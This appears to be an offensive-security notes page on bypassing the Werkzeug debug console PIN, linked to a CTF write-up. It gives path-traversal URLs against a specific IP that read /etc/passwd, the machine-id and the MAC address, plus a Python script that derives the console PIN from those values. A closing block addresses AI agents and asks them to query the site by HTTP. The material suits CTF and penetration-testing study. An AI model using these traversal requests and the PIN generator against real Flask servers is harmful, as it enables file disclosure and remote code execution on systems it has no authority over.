# Werkzeug Console PIN bypass

<https://ctftime.org/writeup/17955>

We need LFI vulnerability.

```
probably_public_bits = [ 
  'web3_user' , # username http://45.77.245.232:7004/read%2F..%2F../etc/passwd
  'flask.app' , # modname Always the same 
  'Flask' , # Always the same
  '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr (mod, '__file__', None) Error Message: http://45.77.245.232:7004/read%2F..%2F../wrong/file
  ] 

private_bits = [ 
  '94558041547692' , # http://45.77.245.232:7004/read%2F..%2F..%2Fetc/network/interfaces | http://45.77.245.232:7004/read%2F..%2F..%2Fsys/class/net/ens3/address
  'd4e6cb65d59544f3331ea0425dc555a1' # http://45.77.245.232:7004/read%2F..%2F..%2Fetc/machine-id
  ]
```

pingenerate.py

```
import hashlib 
from itertools import chain
import os
import getpass

pin = None
rv = None
num = None

probably_public_bits = [ 
  'h4ckua11' , # username 
  'flask.app' , # modname
  'Flask',
  '/usr/local/lib/python2.7/dist-packages/flask/app.py' 
  ] 

private_bits = [ 
  '191101483950643' ,
  'my serial number'
  ] 

h = hashlib.md5() 

# Bit is going through every thing in probably_public_bits and private_bits

for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, unicode):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt") 

if num is None : 
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9] 

if rv is None : 
    for group_size in 5 , 4 , 3 : 
        if len (num)% group_size == 0 : 
            rv = '-' .join (num [x: x + group_size] .rjust (group_size, '0' ) 
            for x in range ( 0 , len (num), group_size)) 
            break 
        else : 
            rv = num

print (rv)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/readme/linux-unix/werkzeug-console-pin-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.